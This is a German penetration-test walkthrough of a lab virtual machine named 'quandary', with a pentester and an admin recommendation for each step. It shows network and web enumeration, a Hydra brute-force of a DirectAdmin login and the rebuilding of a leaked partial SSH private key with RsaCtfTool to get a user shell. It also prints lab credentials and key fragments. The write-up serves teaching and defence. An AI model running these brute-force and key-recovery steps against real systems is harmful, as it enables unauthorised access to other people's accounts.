192.168.2.126 08:00:27:92:e7:42 PCS Systemtechnik GmbH
**Analyse:** Der `arp-scan -l` Befehl identifiziert aktive Hosts im lokalen Netzwerk. Ein Host mit der IP `192.168.2.126` und der MAC-Adresse `08:00:27:92:e7:42` wird gefunden. Der OUI (Organizationally Unique Identifier) `08:00:27` gehört zu "PCS Systemtechnik GmbH", was häufig auf eine VirtualBox-VM hinweist.
**Bewertung:** Das Zielsystem wurde erfolgreich im lokalen Netzwerk lokalisiert. Die IP `192.168.2.126` wird für die weiteren Scans verwendet.
**Empfehlung (Pentester):** Die identifizierte IP `192.168.2.126` als Ziel für den Nmap-Portscan verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring implementieren, um unbekannte oder unerwünschte Geräte im Netzwerk zu erkennen. Sicherstellen, dass nur autorisierte Systeme aktiv sind.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-12 14:55 CEST Nmap scan report for quandary (192.168.2.126) Host is up (0.00015s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 81560bdc551faa606864239a9ff79cc7 (RSA) | 256 43f311c7e4bec9bf4f6c1b48f6e41368 (ECDSA) |_ 256 3cb98d3f70b2311596f8ce952986b785 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Under Construction 8000/tcp open http Splunkd httpd |_http-server-header: Splunkd | http-robots.txt: 1 disallowed entry |_/ | http-title: Site doesn't have a title (text/html; charset=UTF-8). |_Requested resource was http://quandary:8000/en-US/account/login?return_to=%2Fen-US%2F 8089/tcp open ssl/http Splunkd httpd |_http-server-header: Splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2023-02-24T10:44:38 |_Not valid after: 2026-02-23T10:44:38 | http-robots.txt: 1 disallowed entry |_/ |_http-title: splunkd MAC Address: 08:00:27:92:E7:42 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms quandary (192.168.2.126)
**Analyse:** Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) auf `192.168.2.126` identifiziert die folgenden offenen TCP-Ports und Dienste: * **Port 22:** SSH (OpenSSH 8.2p1 auf Ubuntu). Ein Standard-Login-Dienst. * **Port 80:** HTTP (Apache 2.4.41 auf Ubuntu). Zeigt eine "Under Construction"-Seite an. * **Port 8000:** HTTP (Splunkd httpd). Der Titel deutet auf eine Login-Seite hin (`/en-US/account/login`). Die `robots.txt` verbietet das Crawlen des Root-Verzeichnisses (`/`). * **Port 8089:** HTTPS (SSL/HTTP, Splunkd httpd). Nutzt ein selbstsigniertes Zertifikat (`SplunkServerDefaultCert`). Ebenfalls eine `robots.txt` mit `Disallow: /`. Der Titel ist "splunkd". Der Scan bestätigt das Betriebssystem als Linux (Ubuntu) und die VirtualBox-MAC-Adresse.
**Bewertung:** Mehrere interessante Angriffsvektoren: * **Port 80:** Standard-Webserver, aber anscheinend ohne viel Inhalt. Directory Brute-Forcing könnte dennoch nützlich sein. Der Hostname `quandary` wird im Nmap-Bericht erwähnt. * **Port 8000/8089 (Splunk):** Splunk ist eine weit verbreitete Plattform für Log-Management und Datenanalyse. Offene Splunk-Webinterfaces sind sehr interessante Ziele, da sie oft Konfigurationsmöglichkeiten bieten oder Schwachstellen aufweisen können, die zu Remote Code Execution führen. Port 8000 ist die Standard-Weboberfläche, Port 8089 die Management-Schnittstelle (oft für REST-API und Forwarder). * **Port 22:** Standard-SSH, erfordert gültige Anmeldeinformationen.
**Empfehlung (Pentester):**
1. **Hosts-Datei:** Den Hostnamen `quandary.hmv` (aus späteren Befehlen ersichtlich) zur lokalen `/etc/hosts`-Datei hinzufügen und auf `192.168.2.126` zeigen lassen. Ebenso für `directadmin.quandary.hmv` (später gefunden).
2. **Port 80:** Mit `gobuster` nach versteckten Verzeichnissen/Dateien suchen. Den E-Mail-Kontakt `admin@quandary.hmv` notieren (möglicherweise ein Benutzername?).
3. **Port 8000/8089:** Die Splunk-Webinterfaces im Browser untersuchen. Nach Standard-Anmeldedaten suchen (z.B. `admin:changeme`), nach bekannten Schwachstellen für die spezifische Splunk-Version (falls ermittelbar) recherchieren. Die `robots.txt` ist hier wenig hilfreich. Zusätzliche Informationen aus den Anfragen extrahieren (wie später im Bericht gezeigt).
4. **SSH:** Vorerst zurückstellen, bis Benutzernamen/Passwörter gefunden werden.
**Empfehlung (Admin):**
1. **Port 80:** Wenn die Seite "Under Construction" ist, sollte der Webserver idealerweise deaktiviert oder der Zugriff stark eingeschränkt werden.
2. **Splunk (Port 8000/8089):** Den Zugriff auf die Splunk-Weboberfläche und die Management-Schnittstelle auf autorisierte Benutzer und Netzwerke beschränken (Firewall, Splunk-eigene Zugriffskontrollen). Starke, nicht-standardmäßige Passwörter verwenden. Splunk aktuell halten (Patches!). Das selbstsignierte Zertifikat auf Port 8089 durch ein vertrauenswürdiges Zertifikat ersetzen.
3. **SSH:** Standard-Härtungsempfehlungen (starke Passwörter/Keys, Fail2ban, Zugriffsbeschränkung).
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://quandary.hmv
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.5
[+] Extensions: sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,txt,php,rar,zip,tar,pub,xls,docx,doc
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2023/04/12 15:05:35 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 685]
===============================================================
2023/04/12 15:06:18 Finished
===============================================================
**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver unter `http://quandary.hmv` (Port 80) zu finden. Es verwendet eine mittelgroße Wortliste und sucht nach einer Vielzahl von Dateiendungen. Statuscodes 403 und 404 werden ignoriert. Das einzige gefundene Ergebnis ist die Datei `index.html` mit Statuscode 200 und einer Größe von 685 Bytes.
**Bewertung:** Der Webserver auf Port 80 scheint tatsächlich nur die Standard-Indexseite ("Under Construction") zu enthalten. `gobuster` konnte keine weiteren versteckten Verzeichnisse oder Dateien aufdecken.
**Empfehlung (Pentester):** Den Inhalt der `index.html` untersuchen (obwohl er wahrscheinlich nur den "Under Construction"-Text enthält). Nach weiteren Informationen im Quellcode oder in HTTP-Headern suchen. Da hier nichts weiter gefunden wurde, den Fokus auf die anderen Ports (Splunk) legen.
**Empfehlung (Admin):** Wie bereits erwähnt, sollte ein nicht genutzter Webserver idealerweise deaktiviert werden.
Under Construction
We apologize for the inconvenience, but this website is currently under construction.
Please check back soon for updates! Please contact admin@quandary.hmv for more information!
**Analyse:** Der relevante HTML-Code der `index.html`-Seite wird gezeigt. Er enthält den "Under Construction"-Text und eine Kontakt-E-Mail-Adresse: `admin@quandary.hmv`.
**Bewertung:** Bestätigt den Inhalt der Seite. Die E-Mail-Adresse `admin@quandary.hmv` könnte ein gültiger Benutzername (`admin`) für andere Dienste (SSH, Splunk, DirectAdmin) sein.
**Empfehlung (Pentester):** Den Benutzernamen `admin` für Brute-Force-Angriffe oder Login-Versuche auf den anderen gefundenen Diensten vormerken.
**Empfehlung (Admin):** Vermeiden, interne E-Mail-Adressen oder potenzielle Benutzernamen auf öffentlich zugänglichen "Under Construction"-Seiten preiszugeben.
**Analyse:** Im Nmap-Scan wurde Port 8000 als Splunkd HTTP-Dienst identifiziert. Die `robots.txt` verbietet das Crawlen, und der Titel deutet auf eine Login-Seite. Zusätzliche manuelle Untersuchung (nicht im Log detailliert) ergab weitere Hinweise: * Ein Cookie `session_id_8000` wird gesetzt. * Eine Anforderung an `/de-DE/i18ncatalog?...` liefert Text, der das Splunk-Spool-Verzeichnis `$SPLUNK_HOME/var/spool/splunk` erwähnt. * Ein weiterer Text-Schnipsel enthält `"password": "Remote-Passwort"`.
**Bewertung:** Diese manuell extrahierten Informationen sind wertvoll: * Die Erwähnung des Spool-Verzeichnisses gibt einen Hinweis auf die interne Struktur von Splunk. * Der Schnipsel `"password": "Remote-Passwort"` ist höchst verdächtig. Es könnte sich um ein schlecht maskiertes Passwort, einen Platzhalter oder einen Hinweis handeln. "Remote-Passwort" sollte als potenzielles Passwort für Benutzer wie `admin` getestet werden.
**Empfehlung (Pentester):** Das potenzielle Passwort "Remote-Passwort" für den Benutzer `admin` (aus der index.html) auf der Splunk-Login-Seite (Port 8000) und ggf. anderen Diensten (SSH, DirectAdmin) testen. Die Splunk-Oberfläche weiter untersuchen, falls ein Login gelingt.
**Empfehlung (Admin):** Sicherstellen, dass keine sensiblen Informationen wie Verzeichnispfade oder Passwort-Hinweise in öffentlich zugänglichen Katalogdateien oder API-Antworten preisgegeben werden. Den Ursprung des `"password": "Remote-Passwort"`-Schnipsels finden und bereinigen.
**Analyse:** Nmap identifizierte Port 8089 als Splunkd HTTPS-Dienst mit einem selbstsignierten Zertifikat. Der Titel ist "splunkd". Manuelle Untersuchung der URL `https://quandary.hmv:8089/` (nicht im Log detailliert) ergab eine Splunk-Build-Version: `7.1.9`. Zudem wurden Verzeichnispfade wie `/services`, `/servicesNS`, `/static` und `/rpc` beobachtet, die typisch für die Splunk-REST-API sind.
**Bewertung:** Die Kenntnis der Splunk-Version `7.1.9` ist sehr nützlich. Man kann nun gezielt nach bekannten Schwachstellen und Exploits für diese Version suchen. Die Pfade bestätigen, dass dies wahrscheinlich die Management-/API-Schnittstelle ist.
**Empfehlung (Pentester):** Nach bekannten Exploits für Splunk 7.1.9 suchen (z.B. in Exploit-DB, GitHub). Prüfen, ob die REST-API anonym oder mit Standard-/gefundenen Anmeldeinformationen zugänglich ist und ob darüber Aktionen ausgeführt werden können.
**Empfehlung (Admin):** Splunk auf die neueste Version aktualisieren, um bekannte Schwachstellen zu schließen. Den Zugriff auf die Management-Schnittstelle (Port 8089) stark einschränken (Firewall, IP-Whitelisting).
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://quandary.hmv/
Total requests: 109682
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000106244: 200 118 L 229 W 2230 Ch "directadmin"
Total time: 65.33127s
Processed Requests: 109682
Filtered Requests: 109681
Requests/sec.: 1678.887
**Analyse:** `wfuzz` wird verwendet, um nach Subdomains von `quandary.hmv` zu suchen. * `-c`: Farbige Ausgabe. * `-w ...`: Wortliste mit potenziellen Subdomain-Namen. * `-u quandary.hmv`: Basis-URL (hier etwas irreführend, da der Host-Header manipuliert wird). * `-H "Host: FUZZ.quandary.hmv"`: Der entscheidende Teil. `wfuzz` ersetzt `FUZZ` durch Einträge aus der Wortliste und sendet Anfragen mit diesem manipulierten Host-Header an die IP von `quandary.hmv`. * `--hh 685`: Versteckt Antworten mit 685 Zeichen (die Größe der "Under Construction"-Seite auf der Hauptdomain), um nur abweichende Ergebnisse (potenzielle virtuelle Hosts) anzuzeigen. Das Ergebnis zeigt, dass eine Anfrage mit dem Host-Header `directadmin.quandary.hmv` eine Antwort mit Statuscode 200 und einer anderen Größe (2230 Chars) liefert.
**Bewertung:** Erfolg! Eine Subdomain (oder genauer gesagt ein virtueller Host, der auf denselben Apache-Server reagiert) namens `directadmin.quandary.hmv` wurde gefunden. DirectAdmin ist eine verbreitete Webhosting-Control-Panel-Software. Dies eröffnet einen neuen Angriffsvektor.
**Empfehlung (Pentester):**
1. Die Subdomain `directadmin.quandary.hmv` zur lokalen `/etc/hosts`-Datei hinzufügen (auf `192.168.2.126` zeigend).
2. Die Seite `http://directadmin.quandary.hmv` im Browser aufrufen und untersuchen.
3. Nach Login-Möglichkeiten suchen und versuchen, die zuvor gefundenen Anmeldeinformationen (`admin:Remote-Passwort` oder `admin` mit Brute-Force) zu verwenden.
**Empfehlung (Admin):** Virtuelle Hosts und Subdomains sollten nur dann konfiguriert werden, wenn sie benötigt werden. Den Zugriff auf Admin-Panels wie DirectAdmin auf autorisierte IPs beschränken. Software aktuell halten und starke Passwörter verwenden.
Hydra v9.4 (c) 2022 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344413 login tries (l:1/p:14344413), ~896526 tries per task
[DATA] attacking http-post-form://directadmin.quandary.hmv:80/login.php:uname=^USER^&psw=^PASS^:Incorrect username or password.
[80][http-post-form] host: directadmin.quandary.hmv login: admin password: qazxsw
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker thread(s) are still running. You can safely abort this external command.
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-12 15:56:42
**Analyse:** `hydra` wird für einen Brute-Force-Angriff auf das Login-Formular von `directadmin.quandary.hmv` verwendet. * `-l admin`: Versucht den Login für den Benutzer `admin`. * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die `rockyou.txt`-Liste als Passwortquelle. * `directadmin.quandary.hmv`: Das Zielsystem. * `http-post-form`: Gibt das Angriffsprotokoll an. * `'/login.php:uname=^USER^&psw=^PASS^:Incorrect username or password.'`: Definiert die Login-URL (`/login.php`), die Parameter für Benutzername (`uname=^USER^`) und Passwort (`psw=^PASS^`), und die Fehlermeldung (`Incorrect username or password.`), die bei einem fehlgeschlagenen Versuch erwartet wird. Hydra findet erfolgreich das Passwort `qazxsw` für den Benutzer `admin`.
**Bewertung:** Ein schwaches Passwort (`qazxsw`) für den `admin`-Account des DirectAdmin-Panels wurde gefunden. Dies ermöglicht den Login in das Control Panel und potenziell weitere Aktionen, abhängig von den Berechtigungen des `admin`-Benutzers innerhalb von DirectAdmin.
**Empfehlung (Pentester):** Sich mit den gefundenen Anmeldeinformationen (`admin:qazxsw`) bei `http://directadmin.quandary.hmv` anmelden. Das Dashboard und alle verfügbaren Funktionen erkunden. Nach Möglichkeiten suchen, Dateien hochzuladen, Code auszuführen, Konfigurationen zu ändern oder sensible Informationen (wie SSH-Schlüssel) einzusehen.
**Empfehlung (Admin):** Starke, einzigartige Passwörter für alle Admin-Konten verwenden. Brute-Force-Schutzmechanismen implementieren (z.B. Fail2ban, Account-Sperrung nach fehlgeschlagenen Versuchen). Zwei-Faktor-Authentifizierung (2FA) aktivieren, falls von DirectAdmin unterstützt.
**Analyse:** Nach dem Login in das DirectAdmin-Panel (`http://directadmin.quandary.hmv/dashboard.php`) mit `admin:qazxsw` wurde der folgende Text im Dashboard gefunden. Er enthält einen unvollständigen privaten SSH-Schlüssel und eine Nachricht.
Dashboard Welcome to the admin dashboard! Here you can manage your website and view important data. zfWP0ewz87090bqRvmdyw5HvVznmhQAAAMEA3bbbBmTDBn4E/86brUv/b3nBhMiR1bbx nIEKyhulHY5mf3KcneltIzfJDRdg/pmjCcGTkAkHc0BN9bLy6d2gQLlsw9PY/tbXuVp69 LIxDbA4UfeS+/CTrpREVj+rBU1R6DJvJ5pnWSIx+pWEc6M9Ysfi4PQtJgGINxd5BEwyX/g yHu5gjadvjsUYTpSGq+pEE44tHhAcrrx81F/J2iKYyyJ9iAxvlqPHWL6mhum1W4ofiWDJ C+4pw4gKwfuX5AAAAEWxhd3JlbmNlQHF1YW5kYXJ5AQ -----END PENSSH PRIVATE KEY----- ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMkW1dygI8UCwrEjjCnceqjY2Dnw6kUtCs4KAId5f/xeKjx6hsC9kvm0u/Rs/TiLhqQm+ibpo/EVZ4vvw8XcrEqTdrU60PiZ+RRUVHdps+SlLAys/h+jopRfEvfeE4G86Kzm0pNwPoiny9ruLDa3ByPjhe3x9Rx9Vb+2KxZtXkEWeC1G8xILp5jG5gwboe6ncRtvTvko31iZCXG4eEAf04tdCitmF11KDoLgnmWsAmGIZoUDGaoydNUEMi2cGiaUizvAIvAbUXoZLRcuVyPv8eHL+hpmk/xPa4hN6z510EBbfiBEgTj12pu1SMQ1E5DsS/d7n+UxEeM0M1ooVic85ttXAY4VzThX/2c6b7o9iPtZ2QtyvFnV2Fb8RgclN3rrk7sLrw6t4YzxyyLLKGviLDEXssPJ7QSQmbA5kEFTTj8ATg2l+VqKbqljvbslTj/KzJiiycUg5RfHMmi7/gAEI9DMIcCNgYy2CKDv/1K94VYFBKT5nAsMF0= lawrence@quandary Just wanted to let you know that the other day I told you to leave me your public and private key in here. You only copied the public key and I believe that your private key was not copied completely to your clipboard. Anyways send me an email at admin@quandary.hmv when you have copied your private key here. Talk to you next week!
**Bewertung:** Das ist ein entscheidender Fund! * Ein öffentlicher SSH-Schlüssel für den Benutzer `lawrence@quandary` ist vollständig vorhanden. * Ein privater SSH-Schlüssel (vermutlich der zugehörige für `lawrence`) ist nur als Fragment vorhanden (`zfWP...`). Die Kopf- und Fußzeilen (`-----BEGIN/END OPENSSH PRIVATE KEY-----`) fehlen teilweise, und der Base64-kodierte Teil ist unvollständig. * Die Nachricht bestätigt, dass der private Schlüssel unvollständig ist und deutet darauf hin, dass `lawrence` der Besitzer dieses Schlüssels ist. Die Herausforderung besteht nun darin, den vollständigen privaten Schlüssel zu rekonstruieren, um sich als `lawrence` per SSH anzumelden.
**Empfehlung (Pentester):**
1. Den öffentlichen Schlüssel (`id_rsa.pub`) und das Fragment des privaten Schlüssels (`id_rsa`) in separate Dateien speichern.
2. Versuchen, den privaten Schlüssel zu reparieren/rekonstruieren. Da der öffentliche Schlüssel bekannt ist (enthält Modulus `n` und Exponent `e`), und das Fragment Teile des privaten Schlüssels (möglicherweise Teile von `d`, `p`, `q`) enthält, könnten Tools wie `RsaCtfTool` oder manuelle Kryptoanalyse helfen. Die Base64-Kodierung des Fragments muss möglicherweise repariert werden (z.B. durch Hinzufügen von Padding oder Korrektur von Zeilenumbrüchen), bevor sie dekodiert werden kann. Die Fehlermeldung `base64: ungültige Eingabe` deutet auf solche Probleme hin.
**Empfehlung (Admin):** Niemals private Schlüssel (auch keine Fragmente) in Web-Dashboards oder anderen unsicheren Orten speichern. Benutzer über den sicheren Umgang mit SSH-Schlüsseln aufklären. DirectAdmin-Instanz auf weitere Schwachstellen oder Fehlkonfigurationen prüfen, die diesen Fund ermöglichten.
**Analyse:** Die folgenden Schritte zeigen die Versuche des Pentesters, das gefundene private Schlüssel-Fragment zu verarbeiten und zu rekonstruieren.
**Analyse:** Das Schlüssel-Fragment wird in `id_rsa` und der öffentliche Schlüssel in `id_rsa.pub` gespeichert.
base64: ungültige Eingabe
base64: ungültige Eingabe
**Analyse:** Es wird versucht, das Base64-kodierte Fragment zu dekodieren (`base64 -d`) und dann mit `xxd` einen bestimmten Teil (Länge 193 Bytes ab Offset 29) als Hex-String (`-p`) zu extrahieren und in die Datei `ssh_magic` zu schreiben. Beide Versuche scheitern mit `base64: ungültige Eingabe`.
**Bewertung:** Das Base64-Fragment aus dem Dashboard ist fehlerhaft oder unvollständig, wie die Fehlermeldung zeigt. Es fehlen möglicherweise Zeichen, Zeilenumbrüche sind falsch, oder es gibt ungültige Zeichen. Dies muss korrigiert werden, bevor `base64 -d` funktioniert. Der Kommentar "Habe ein AA am anfang hinzugefügt" deutet auf einen manuellen Korrekturversuch hin (oft wird Padding `=` oder `A` am Ende hinzugefügt, wenn die Länge nicht durch 4 teilbar ist).
zfWP0ewz87090bqRvmdyw5HvVznmhQAAAMEA3bbbBmTDBn4E/86brUv/b3nBhMiR1bbx
nIEKyhulHY5mf3KcneltIzfJDRdg/pmjCcGTkAkHc0BN9bLy6d2gQLlsw9PY/tbXuVp69
LIxDbA4UfeS+/CTrpREVj+rBU1R6DJvJ5pnWSIx+pWEc6M9Ysfi4PQtJgGINxd5BEwyX/g
yHu5gjadvjsUYTpSGq+pEE44tHhAcrrx81F/J2iKYyyJ9iAxvlqPHWL6mhum1W4ofiWDJ
C+4pw4gKwfuX5AAAAEWxhd3JlbmNlQHF1YW5kYXJ5AQ
-----END PENSSH PRIVATE KEY-----
base64: ungültige Eingabe
00000000: cdf5 8fd0 e7b0 cfce f4f7 46ea 46f9 9dcb ..........F.F...
[...]
000000f0: 2790 10 '..
base64: ungültige Eingabe
00000000: 000c df58 fd0e 7b0c fcef 4f74 6ea4 6f99 ...X..{...tn.o.
[...]
000000f0: 6172 7901 ary.
**Analyse:** Der Inhalt der (vermutlich manuell korrigierten) `id_rsa`-Datei wird angezeigt. Es folgen weitere fehlgeschlagene `base64 -d`-Versuche. Die `xxd`-Ausgabe zeigt den Hex-Dump der Bytes, die `base64` *trotz* des Fehlers teilweise dekodieren konnte. Es scheint, dass der Pentester die Datei mehrmals bearbeitet hat, um die Base64-Kodierung zu reparieren.
base64: ungültige Eingabe
base64: ungültige Eingabe
0000001c: c100 ddb6 db06 64c3 067e 04ff ce9b ad4b ......d..~.....K
[...]
000000ec: 7561 6e64 6172 7901 uandary.
base64: ungültige Eingabe 00ddb6db0664c3067e04ffce9bad4bff6f79c184c891d5b6f19c810aca1b a51d8e667f729c9de96d2337c90d1760fe99a309c19390090773404df5b2 f2e9dda040b3a5b30f4f63fb5b5ee569ebd2c8c436c0e147de4befc24eba 511158feac153547a0c9bc9e699d6488c7ea5611ce8cf58b1f8b83d0b498 0620dc5de41130c97fe0c87bb982369dbe3b14613a521aafa9104e38b478 4072baf1f3517f27688a632c89f62031be5a8f1d62fa9a1ba6d56e0ea1f8 960c90be3b8a70e202b07ee5f9
**Analyse:** Weitere Versuche, den relevanten Teil des dekodierten Schlüssels als Hex-String zu extrahieren. Obwohl `base64 -d` immer noch einen Fehler meldet, gibt `xxd` nun den gewünschten Hex-Block aus (Länge 193 ab Offset 29). Dieser Hex-Block wird in der nächsten Ausgabe in `ssh_magic` gespeichert (der vorherige `>` wurde wohl vergessen).
**Bewertung:** Der Pentester hat es geschafft, den relevanten Hex-Teil des privaten Schlüssels zu extrahieren, obwohl die Base64-Dekodierung formal fehlschlägt. Dieser Hex-String (`00dd...e5f9`) enthält wahrscheinlich kryptographische Informationen (wie den privaten Exponenten `d` oder die Primfaktoren `p` und `q`, oder Teile davon), die zusammen mit dem öffentlichen Schlüssel zur Rekonstruktion des vollständigen privaten Schlüssels verwendet werden können.
00ddb6db0664c3067e04ffce9bad4bff6f79c184c891d5b6f19c810aca1ba51d8e667f729c9de96d2337c90d1760fe99a309c19390090773404df5b2f2e9dda040b3a5b30f4f63fb5b5ee569ebd2c8c436c0e147de4befc24eba511158feac153547a0c9bc9e699d6488c7ea5611ce8cf58b1f8b83d0b4980620dc5de41130c97fe0c87bb982369dbe3b14613a521aafa9104e38b4784072baf1f3517f27688a632c89f62031be5a8f1d62fa9a1ba6d56e0ea1f8960c90be3b8a70e202b07ee5f9
**Analyse:** Der Inhalt von `ssh_magic` wird ausgegeben und mit `tr -d '\n'` werden alle Zeilenumbrüche entfernt, um einen einzigen langen Hex-String zu erhalten. Dieser wird für das Tool `RsaCtfTool` vorbereitet.
**Analyse:** Die folgenden Schritte verwenden das Tool `RsaCtfTool`, um den privaten Schlüssel zu rekonstruieren.
**Analyse:** Das `RsaCtfTool`-Repository wird von GitHub geklont und die notwendigen Python-Abhängigkeiten (insbesondere `cryptography`) werden installiert.
private argument is not set, the private key will not be displayed, even if recovered. n: 4642...4253 # Modulus n e: 65537 # Public exponent e
**Analyse:** `RsaCtfTool` wird mit der Option `--dumpkey` auf den öffentlichen Schlüssel (`../id_rsa.pub`) angewendet. Dies extrahiert den Modulus (`n`) und den öffentlichen Exponenten (`e`) aus dem Schlüssel.
**Bewertung:** Bestätigt die öffentlichen RSA-Parameter, die für die Rekonstruktion benötigt werden.
Results for /tmp/tmptg7tnsmz:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIG5QIBAAKCAYEAzJFtXcoCPFAjsKxI4wp3Hjqo2Ngzp8pFLQrCgCHeX/8Xio
[...]
C7zfWP0ewz87090bqRvmdyw5HvVznmhQKBwQDdttsGZMMGfgT/zputS/9vecGE
[...]
AsiDNI5u4mc9wrVzal+tZ/UNGGG1v0LXqZS72BDrMjEev1/SSApR6uuyH7WQrXv
arVeYZ5aJvSXwizf1PzGDk0ehURr6WLmoLDe63LgN6A2mvoKbfUHs+E3MYCL97A6
KxsmGbE5tB6V8aQV7HdK+AZinpXjbifpf4WsUEX9PmM8MgtFtmX8IpA3XZxu5zjZ
FJTGQoZY4q9rp47HHtXsKmPDViDhdktvG/qoSBCKZUevHEsJlcWug=
-----END RSA PRIVATE KEY-----
**Analyse:** `RsaCtfTool` wird erneut aufgerufen, diesmal mit: * `-q 0x$(cat ssh_magic)`: Übergibt den extrahierten Hex-String aus `ssh_magic` als einen der privaten Faktoren (vermutlich `q` oder ein Teil davon). Das `0x` präfixiert den Hex-String. * `-e 65537`: Der öffentliche Exponent. * `-n 464...4253`: Der Modulus. * `--private`: Weist das Tool an, zu versuchen, den vollständigen privaten Schlüssel zu berechnen und auszugeben. Das Tool ist erfolgreich und gibt den vollständigen, rekonstruierten privaten RSA-Schlüssel im PEM-Format aus.
**Bewertung:** Großartig! Der private Schlüssel von `lawrence` wurde erfolgreich rekonstruiert, indem der öffentliche Schlüssel und das unvollständige Fragment aus dem DirectAdmin-Panel kombiniert wurden. Dies war ein komplexer Schritt, der Kenntnisse über RSA und die Verwendung spezialisierter Tools erforderte.
**Empfehlung (Pentester):** Den rekonstruierten privaten Schlüssel in eine Datei speichern (z.B. `idmy`), die Berechtigungen auf `600` setzen und ihn verwenden, um sich als `lawrence` per SSH anzumelden.
**Empfehlung (Admin):** Dies unterstreicht erneut die Gefahr, Teile von privaten Schlüsseln preiszugeben. Selbst Fragmente können unter Umständen zur Rekonstruktion des gesamten Schlüssels führen, insbesondere wenn der öffentliche Schlüssel bekannt ist.
-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
**Analyse:** Der rekonstruierte Schlüssel wird mit `--output idmy` direkt in eine Datei gespeichert und die Berechtigungen werden korrekt auf `600` gesetzt.
The authenticity of host 'quandary.hmv (192.168.2.126)' can't be established.
ED25519 key fingerprint is SHA256:YSCvKZXPINWWokPAscTTLzyccPvWwnSRndskewSjE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'quandary.hmv' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-60-generic x86_64)
[...]
Last login: Sun Feb 26 12:17:04 2023 from 10.0.0.70
-bash-5.0$
**Analyse:** Der SSH-Login als Benutzer `lawrence` mit dem rekonstruierten privaten Schlüssel (`idmy`) ist erfolgreich. Der Pentester erhält eine Shell auf dem Zielsystem.
**Bewertung:** Initial Access als Benutzer `lawrence` erfolgreich etabliert. Dies war ein mehrstufiger Prozess, der Web-Enumeration, Subdomain-Entdeckung, Brute-Force-Login, Informationsgewinnung aus einem Admin-Panel und Kryptoanalyse zur Schlüsselrekonstruktion umfasste.
**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (z.B. `export TERM=xterm`, `python3 -c 'import pty; pty.spawn("/bin/bash")'`). Mit der Enumeration als Benutzer `lawrence` beginnen, um Wege zur Privilege Escalation zu finden.
**Empfehlung (Admin):** Den kompromittierten `lawrence`-Account untersuchen. Den unsicheren `admin`-Account von DirectAdmin sperren/absichern. Die Sicherheitslücke im DirectAdmin-Panel beheben, die die Anzeige des Schlüsselfragments ermöglichte. Den SSH-Schlüssel von `lawrence` als kompromittiert betrachten und austauschen.
total 40 drwxr-xr-x 8 lawrence lawrence 4096 Feb 25 09:35 . drwxr-xr-x 4 root root 4096 Feb 24 04:43 .. lrwxrwxrwx 1 lawrence lawrence 9 Feb 24 05:02 .bash_history -> /dev/null -rw-r--r-- 1 lawrence lawrence 220 Feb 24 03:11 .bash_logout -rw-r--r-- 1 lawrence lawrence 3771 Feb 24 03:11 .bashrc drwxrwxr-x 11 lawrence lawrence 4096 Feb 25 07:31 .cache drwx------ 11 lawrence lawrence 4096 Feb 25 09:35 .config drwxr-xr-x 2 lawrence lawrence 4096 Feb 24 03:20 Desktop drwx------ 3 lawrence lawrence 4096 Feb 25 07:52 .gnupg drwxr-xr-x 3 lawrence lawrence 4096 Feb 24 03:20 .local drwx------ 2 lawrence lawrence 4096 Feb 25 07:54 .ssh
admin lawrence
**Analyse:** Listing des Home-Verzeichnisses von `lawrence` und des `/home`-Verzeichnisses. Zeigt Standard-Konfigurationsdateien und -verzeichnisse. Interessant ist `.bash_history -> /dev/null`, was bedeutet, dass die Befehlshistorie nicht gespeichert wird. Das `/home`-Verzeichnis enthält auch ein Home-Verzeichnis für den Benutzer `admin`.
[sudo] password for lawrence:
**Analyse:** Der Versuch, die `sudo`-Rechte für `lawrence` zu prüfen, scheitert, da das Passwort nicht bekannt ist.
**Bewertung:** Keine offensichtlichen PrivEsc-Vektoren im Home-Verzeichnis oder über `sudo` für `lawrence` gefunden (Passwort fehlt). Der nächste logische Schritt ist, das Home-Verzeichnis des anderen Benutzers (`admin`) zu untersuchen.
